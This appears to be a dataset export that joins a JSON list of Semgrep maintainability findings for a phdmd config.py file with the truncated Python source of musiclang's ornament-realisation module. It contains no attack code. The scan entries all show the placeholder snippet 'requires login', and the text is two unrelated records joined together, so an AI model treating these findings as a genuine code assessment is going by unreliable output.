[{"finding_id": "semgrep_rules.python.lang.maintainability.return-not-in-function_4a45dabf711c0b25_429c6fa1", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.return-not-in-function", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "`return` only makes sense inside a function", "remediation": "", "location": {"file_path": "unknown", "line_start": 78, "line_end": 78, "column_start": 17, "column_end": 26, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.return-not-in-function", "path": "/tmp/tmpb8jm_z1l/4a45dabf711c0b25.py", "start": {"line": 78, "col": 17, "offset": 1781}, "end": {"line": 78, "col": 26, "offset": 1790}, "extra": {"message": "`return` only makes sense inside a function", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.return-not-in-function_4a45dabf711c0b25_e2bf98b3", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.return-not-in-function", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "`return` only makes sense inside a function", "remediation": "", "location": {"file_path": "unknown", "line_start": 79, "line_end": 79, "column_start": 17, "column_end": 62, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.return-not-in-function", "path": "/tmp/tmpb8jm_z1l/4a45dabf711c0b25.py", "start": {"line": 79, "col": 17, "offset": 1808}, "end": {"line": 79, "col": 62, "offset": 1853}, "extra": {"message": "`return` only makes sense inside a function", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.return-not-in-function_4a45dabf711c0b25_abbada05", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.return-not-in-function", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "`return` only makes sense inside a function", "remediation": "", "location": {"file_path": "unknown", "line_start": 82, "line_end": 82, "column_start": 22, "column_end": 63, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.return-not-in-function", "path": "/tmp/tmpb8jm_z1l/4a45dabf711c0b25.py", "start": {"line": 82, "col": 22, "offset": 1926}, "end": {"line": 82, "col": 63, "offset": 1967}, "extra": {"message": "`return` only makes sense inside a function", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.return-not-in-function_4a45dabf711c0b25_561163c1", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.return-not-in-function", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "`return` only makes sense inside a function", "remediation": "", "location": {"file_path": "unknown", "line_start": 90, "line_end": 90, "column_start": 17, "column_end": 26, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.return-not-in-function", "path": "/tmp/tmpb8jm_z1l/4a45dabf711c0b25.py", "start": {"line": 90, "col": 17, "offset": 2115}, "end": {"line": 90, "col": 26, "offset": 2124}, "extra": {"message": "`return` only makes sense inside a function", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.return-not-in-function_4a45dabf711c0b25_45f84586", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.return-not-in-function", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "`return` only makes sense inside a function", "remediation": "", "location": {"file_path": "unknown", "line_start": 91, "line_end": 91, "column_start": 17, "column_end": 62, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.return-not-in-function", "path": "/tmp/tmpb8jm_z1l/4a45dabf711c0b25.py", "start": {"line": 91, "col": 17, "offset": 2142}, "end": {"line": 91, "col": 62, "offset": 2187}, "extra": {"message": "`return` only makes sense inside a function", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.return-not-in-function_4a45dabf711c0b25_ce7b43c1", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.return-not-in-function", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "`return` only makes sense inside a function", "remediation": "", "location": {"file_path": "unknown", "line_start": 94, "line_end": 94, "column_start": 22, "column_end": 63, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.return-not-in-function", "path": "/tmp/tmpb8jm_z1l/4a45dabf711c0b25.py", "start": {"line": 94, "col": 22, "offset": 2260}, "end": {"line": 94, "col": 63, "offset": 2301}, "extra": {"message": "`return` only makes sense inside a function", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.return-not-in-function_4a45dabf711c0b25_bc6a5fe9", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.return-not-in-function", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "`return` only makes sense inside a function", "remediation": "", "location": {"file_path": "unknown", "line_start": 103, "line_end": 103, "column_start": 17, "column_end": 26, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.return-not-in-function", "path": "/tmp/tmpb8jm_z1l/4a45dabf711c0b25.py", "start": {"line": 103, "col": 17, "offset": 2506}, "end": {"line": 103, "col": 26, "offset": 2515}, "extra": {"message": "`return` only makes sense inside a function", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.return-not-in-function_4a45dabf711c0b25_826286e8", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.return-not-in-function", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "`return` only makes sense inside a function", "remediation": "", "location": {"file_path": "unknown", "line_start": 104, "line_end": 104, "column_start": 17, "column_end": 62, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.return-not-in-function", "path": "/tmp/tmpb8jm_z1l/4a45dabf711c0b25.py", "start": {"line": 104, "col": 17, "offset": 2533}, "end": {"line": 104, "col": 62, "offset": 2578}, "extra": {"message": "`return` only makes sense inside a function", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.return-not-in-function_4a45dabf711c0b25_cfa0c997", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.return-not-in-function", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "`return` only makes sense inside a function", "remediation": "", "location": {"file_path": "unknown", "line_start": 107, "line_end": 107, "column_start": 22, "column_end": 63, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.return-not-in-function", "path": "/tmp/tmpb8jm_z1l/4a45dabf711c0b25.py", "start": {"line": 107, "col": 22, "offset": 2653}, "end": {"line": 107, "col": 63, "offset": 2694}, "extra": {"message": "`return` only makes sense inside a function", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.return-not-in-function_4a45dabf711c0b25_e4a474a0", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.return-not-in-function", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "`return` only makes sense inside a function", "remediation": "", "location": {"file_path": "unknown", "line_start": 116, "line_end": 116, "column_start": 17, "column_end": 26, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.return-not-in-function", "path": "/tmp/tmpb8jm_z1l/4a45dabf711c0b25.py", "start": {"line": 116, "col": 17, "offset": 2895}, "end": {"line": 116, "col": 26, "offset": 2904}, "extra": {"message": "`return` only makes sense inside a function", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.return-not-in-function_4a45dabf711c0b25_aae4dbaf", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.return-not-in-function", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "`return` only makes sense inside a function", "remediation": "", "location": {"file_path": "unknown", "line_start": 117, "line_end": 117, "column_start": 17, "column_end": 62, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.return-not-in-function", "path": "/tmp/tmpb8jm_z1l/4a45dabf711c0b25.py", "start": {"line": 117, "col": 17, "offset": 2922}, "end": {"line": 117, "col": 62, "offset": 2967}, "extra": {"message": "`return` only makes sense inside a function", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.return-not-in-function_4a45dabf711c0b25_33b65c2c", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.return-not-in-function", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "`return` only makes sense inside a function", "remediation": "", "location": {"file_path": "unknown", "line_start": 121, "line_end": 121, "column_start": 22, "column_end": 63, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.return-not-in-function", "path": "/tmp/tmpb8jm_z1l/4a45dabf711c0b25.py", "start": {"line": 121, "col": 22, "offset": 3065}, "end": {"line": 121, "col": 63, "offset": 3106}, "extra": {"message": "`return` only makes sense inside a function", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.return-not-in-function_4a45dabf711c0b25_5c4c8ef8", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.return-not-in-function", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "`return` only makes sense inside a function", "remediation": "", "location": {"file_path": "unknown", "line_start": 130, "line_end": 130, "column_start": 17, "column_end": 26, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.return-not-in-function", "path": "/tmp/tmpb8jm_z1l/4a45dabf711c0b25.py", "start": {"line": 130, "col": 17, "offset": 3305}, "end": {"line": 130, "col": 26, "offset": 3314}, "extra": {"message": "`return` only makes sense inside a function", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.return-not-in-function_4a45dabf711c0b25_a94e9d2f", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.return-not-in-function", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "`return` only makes sense inside a function", "remediation": "", "location": {"file_path": "unknown", "line_start": 131, "line_end": 131, "column_start": 17, "column_end": 62, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.return-not-in-function", "path": "/tmp/tmpb8jm_z1l/4a45dabf711c0b25.py", "start": {"line": 131, "col": 17, "offset": 3332}, "end": {"line": 131, "col": 62, "offset": 3377}, "extra": {"message": "`return` only makes sense inside a function", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.return-not-in-function_4a45dabf711c0b25_a3ddd154", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.return-not-in-function", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "`return` only makes sense inside a function", "remediation": "", "location": {"file_path": "unknown", "line_start": 134, "line_end": 134, "column_start": 22, "column_end": 63, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.return-not-in-function", "path": "/tmp/tmpb8jm_z1l/4a45dabf711c0b25.py", "start": {"line": 134, "col": 22, "offset": 3450}, "end": {"line": 134, "col": 63, "offset": 3491}, "extra": {"message": "`return` only makes sense inside a function", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.return-not-in-function_4a45dabf711c0b25_df32f029", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.return-not-in-function", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "`return` only makes sense inside a function", "remediation": "", "location": {"file_path": "unknown", "line_start": 144, "line_end": 144, "column_start": 17, "column_end": 28, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.return-not-in-function", "path": "/tmp/tmpb8jm_z1l/4a45dabf711c0b25.py", "start": {"line": 144, "col": 17, "offset": 3695}, "end": {"line": 144, "col": 28, "offset": 3706}, "extra": {"message": "`return` only makes sense inside a function", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.return-not-in-function_4a45dabf711c0b25_011c6a1c", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.return-not-in-function", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "`return` only makes sense inside a function", "remediation": "", "location": {"file_path": "unknown", "line_start": 145, "line_end": 146, "column_start": 17, "column_end": 78, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.return-not-in-function", "path": "/tmp/tmpb8jm_z1l/4a45dabf711c0b25.py", "start": {"line": 145, "col": 17, "offset": 3724}, "end": {"line": 146, "col": 78, "offset": 3862}, "extra": {"message": "`return` only makes sense inside a function", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.return-not-in-function_4a45dabf711c0b25_0970906b", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.return-not-in-function", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "`return` only makes sense inside a function", "remediation": "", "location": {"file_path": "unknown", "line_start": 149, "line_end": 149, "column_start": 22, "column_end": 95, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.return-not-in-function", "path": "/tmp/tmpb8jm_z1l/4a45dabf711c0b25.py", "start": {"line": 149, "col": 22, "offset": 3953}, "end": {"line": 149, "col": 95, "offset": 4026}, "extra": {"message": "`return` only makes sense inside a function", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.return-not-in-function_4a45dabf711c0b25_88d7838e", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.return-not-in-function", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "`return` only makes sense inside a function", "remediation": "", "location": {"file_path": "unknown", "line_start": 158, "line_end": 158, "column_start": 17, "column_end": 26, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.return-not-in-function", "path": "/tmp/tmpb8jm_z1l/4a45dabf711c0b25.py", "start": {"line": 158, "col": 17, "offset": 4209}, "end": {"line": 158, "col": 26, "offset": 4218}, "extra": {"message": "`return` only makes sense inside a function", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.return-not-in-function_4a45dabf711c0b25_bbac6a50", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.return-not-in-function", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "`return` only makes sense inside a function", "remediation": "", "location": {"file_path": "unknown", "line_start": 159, "line_end": 160, "column_start": 17, "column_end": 78, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.return-not-in-function", "path": "/tmp/tmpb8jm_z1l/4a45dabf711c0b25.py", "start": {"line": 159, "col": 17, "offset": 4236}, "end": {"line": 160, "col": 78, "offset": 4374}, "extra": {"message": "`return` only makes sense inside a function", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.return-not-in-function_4a45dabf711c0b25_8b854b69", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.return-not-in-function", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "`return` only makes sense inside a function", "remediation": "", "location": {"file_path": "unknown", "line_start": 163, "line_end": 163, "column_start": 22, "column_end": 95, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.return-not-in-function", "path": "/tmp/tmpb8jm_z1l/4a45dabf711c0b25.py", "start": {"line": 163, "col": 22, "offset": 4465}, "end": {"line": 163, "col": 95, "offset": 4538}, "extra": {"message": "`return` only makes sense inside a function", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
21
true
[ "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "" ]
[ "rules.python.lang.maintainability.return-not-in-function", "rules.python.lang.maintainability.return-not-in-function", "rules.python.lang.maintainability.return-not-in-function", "rules.python.lang.maintainability.return-not-in-function", "rules.python.lang.maintainability.return-not-in-function", "rules...
[ "maintainability", "maintainability", "maintainability", "maintainability", "maintainability", "maintainability", "maintainability", "maintainability", "maintainability", "maintainability", "maintainability", "maintainability", "maintainability", "maintainability", "maintainability", "...
[ "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM" ]
[ "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM" ]
[ 78, 79, 82, 90, 91, 94, 103, 104, 107, 116, 117, 121, 130, 131, 134, 144, 145, 149, 158, 159, 163 ]
[ 78, 79, 82, 90, 91, 94, 103, 104, 107, 116, 117, 121, 130, 131, 134, 144, 146, 149, 158, 160, 163 ]
[ 17, 17, 22, 17, 17, 22, 17, 17, 22, 17, 17, 22, 17, 17, 22, 17, 17, 22, 17, 17, 22 ]
[ 26, 62, 63, 26, 62, 63, 26, 62, 63, 26, 62, 63, 26, 62, 63, 28, 78, 95, 26, 78, 95 ]
[ "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "" ]
[ "`return` only makes sense inside a function", "`return` only makes sense inside a function", "`return` only makes sense inside a function", "`return` only makes sense inside a function", "`return` only makes sense inside a function", "`return` only makes sense inside a function", "`return` only makes s...
[ 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5 ]
[ "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "" ]
[ "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "" ]
config.py
/src/config.py
Jonas-Nicodemus/phdmd
MIT
2024-11-18T18:40:01.638049+00:00
1,691,142,960,000
856a3eac6fc1a5f712bf7e5c577c2df0ff2f9db8
3
{ "blob_id": "856a3eac6fc1a5f712bf7e5c577c2df0ff2f9db8", "branch_name": "refs/heads/main", "committer_date": 1691142960000, "content_id": "3d572809f17c80a328d7d78a876e01d518e5b062", "detected_licenses": [ "BSD-2-Clause" ], "directory_id": "985e4e1d0a6687506257a773fca5f1f179e1043f", "extension": "py", "filename": "ornementation.py", "fork_events_count": 3, "gha_created_at": 1673011217000, "gha_event_created_at": 1694705487000, "gha_language": "Python", "gha_license_id": "BSD-2-Clause", "github_id": 585927635, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 8474, "license": "BSD-2-Clause", "license_type": "permissive", "path": "/musiclang/write/ornementation.py", "provenance": "stack-edu-0054.json.gz:570235", "repo_name": "MusicLang/musiclang", "revision_date": 1691142960000, "revision_id": "8b3eeb4fd1de5452f679b6e47756bae6e7e5c142", "snapshot_id": "b03d7ef923af2e6eae4efe52778700a1d1628b62", "src_encoding": "UTF-8", "star_events_count": 33, "url": "https://raw.githubusercontent.com/MusicLang/musiclang/8b3eeb4fd1de5452f679b6e47756bae6e7e5c142/musiclang/write/ornementation.py", "visit_date": "2023-09-01T17:20:51.684390" }
2.84375
stackv2
from fractions import Fraction as frac import musiclang.library as L def realize_tags(note, last_note=None, next_note=None): """ Given the tags of a given note returns a new melody with the realized tags Parameters ---------- note last_note next_note Returns ------- """ import musiclang.library as L new_note = note.copy() duration = note.duration if 'accent' in note.tags: new_note = accent(new_note, last_note, next_note) if 'mordant' in note.tags: new_note = mordant(new_note, last_note, next_note) if 'inv_mordant' in note.tags: new_note = inv_mordant(new_note, last_note, next_note) if 'chroma_mordant' in note.tags: new_note = chroma_mordant(new_note, last_note, next_note) if 'inv_chroma_mordant' in note.tags: new_note = inv_chroma_mordant(new_note, last_note, next_note) if 'grupetto' in note.tags: new_note = grupetto(new_note, last_note, next_note) if 'inv_grupetto' in note.tags: new_note = inv_grupetto(new_note, last_note, next_note) if 'chroma_grupetto' in note.tags: new_note = chroma_grupetto(new_note, last_note, next_note) if 'inv_chroma_grupetto' in note.tags: new_note = inv_chroma_grupetto(new_note, last_note, next_note) if 'roll' in note.tags: new_note = roll(new_note, last_note, next_note) if 'roll_fast' in note.tags: new_note = roll_fast(new_note, last_note, next_note) if 'suspension_prev' in note.tags: new_note = suspension(new_note, last_note, next_note) if 'suspension_prev_repeat' in note.tags: new_note = suspension_prev_repeat(new_note, last_note, next_note) if 'retarded' in note.tags: new_note = retarded(new_note, last_note, next_note) if 'interpolate' in note.tags: new_note = interpolate(new_note, last_note, next_note) assert new_note.duration == note.duration, f"{new_note} {new_note.duration} {note.duration} {note.tags}" new_note = new_note.clear_note_tags() return new_note def accent(new_note, last_note, next_note): new_note.amp = min(120, new_note.amp + 10) return new_note def mordant(new_note, last_note, next_note): duration = new_note.duration mordant_duration = frac(1, 4) if duration >= frac(1, 2): new_note = new_note.set_duration(mordant_duration) + L.su1.set_duration( mordant_duration) + new_note.set_duration(new_note.duration - 2 * mordant_duration) return new_note def inv_mordant(new_note, last_note, next_note): duration = new_note.duration mordant_duration = frac(1, 4) if duration >= frac(1, 2): new_note = new_note.set_duration(mordant_duration) + L.sd1.set_duration( mordant_duration) + new_note.set_duration(new_note.duration - 2 * mordant_duration) return new_note def chroma_mordant(new_note, last_note, next_note): duration = new_note.duration mordant_duration = frac(1, 4) if duration >= frac(1, 2): new_note = new_note.set_duration(mordant_duration) + L.hu1.set_duration( mordant_duration) + new_note.set_duration(new_note.duration - 2 * mordant_duration) return new_note def inv_chroma_mordant(new_note, last_note, next_note): duration = new_note.duration mordant_duration = frac(1, 4) if duration >= frac(1, 2): new_note = new_note.set_duration(mordant_duration) + L.hd1.set_duration( mordant_duration) + new_note.set_duration(new_note.duration - 2 * mordant_duration) return new_note def grupetto(new_note, last_note, next_note): duration = new_note.duration if duration >= frac(1): mordant_duration = frac(1, 2) new_note = new_note.n + L.su1.set_duration(mordant_duration) + new_note.set_duration(mordant_duration) \ + L.sd1.set_duration(mordant_duration) + L.su1.set_duration(duration - 3 * mordant_duration) elif duration >= frac(1, 2): mordant_duration = frac(2, 3) * frac(1, 4) new_note = new_note.n + L.su1.set_duration(mordant_duration) + new_note.set_duration(mordant_duration) \ + L.sd1.set_duration(mordant_duration) + L.su1.set_duration(duration - 3 * mordant_duration) return new_note def inv_grupetto(new_note, last_note, next_note): duration = new_note.duration mordant_duration = frac(2, 3) * frac(1, 4) if duration >= frac(1, 2): new_note = new_note.n + L.sd1.set_duration(mordant_duration) + new_note.set_duration(mordant_duration) \ + L.su1.set_duration(mordant_duration) + L.sd1.set_duration(duration - 3 * mordant_duration) return new_note def chroma_grupetto(new_note, last_note, next_note): duration = new_note.duration mordant_duration = frac(2, 3) * frac(1, 4) if duration >= frac(1, 2): new_note = new_note.n + L.hu1.set_duration(mordant_duration) + new_note.set_duration(mordant_duration) \ + L.hd1.set_duration(mordant_duration) + L.hu1.set_duration(duration - 3 * mordant_duration) return new_note def inv_chroma_grupetto(new_note, last_note, next_note): duration = new_note.duration mordant_duration = frac(2, 3) * frac(1, 4) if duration >= frac(1, 2): new_note = new_note.n + L.hd1.set_duration(mordant_duration) + new_note.set_duration(mordant_duration) \ + L.hu1.set_duration(mordant_duration) + L.hd1.set_duration(duration - 3 * mordant_duration) return new_note def roll(new_note, last_note, next_note): duration = new_note.duration mordant_duration = frac(1, 4) nb_rolls = int(duration / mordant_duration) melody = None for i in range(nb_rolls): if (i % 2) == 0: melody += new_note.set_duration(mordant_duration) else: melody += L.su1.set_duration(mordant_duration) if nb_rolls != (duration / mordant_duration): melody += L.l(duration - nb_rolls * mordant_duration) new_note = melody return new_note def roll_fast(new_note, last_note, next_note): duration = new_note.duration mordant_duration = frac(1, 6) nb_rolls = int(duration / mordant_duration) melody = None for i in range(nb_rolls): if (i % 2) == 0: melody += new_note.set_duration(mordant_duration) else: melody += L.su1.set_duration(mordant_duration) if nb_rolls != (duration / mordant_duration): melody += L.l(duration - 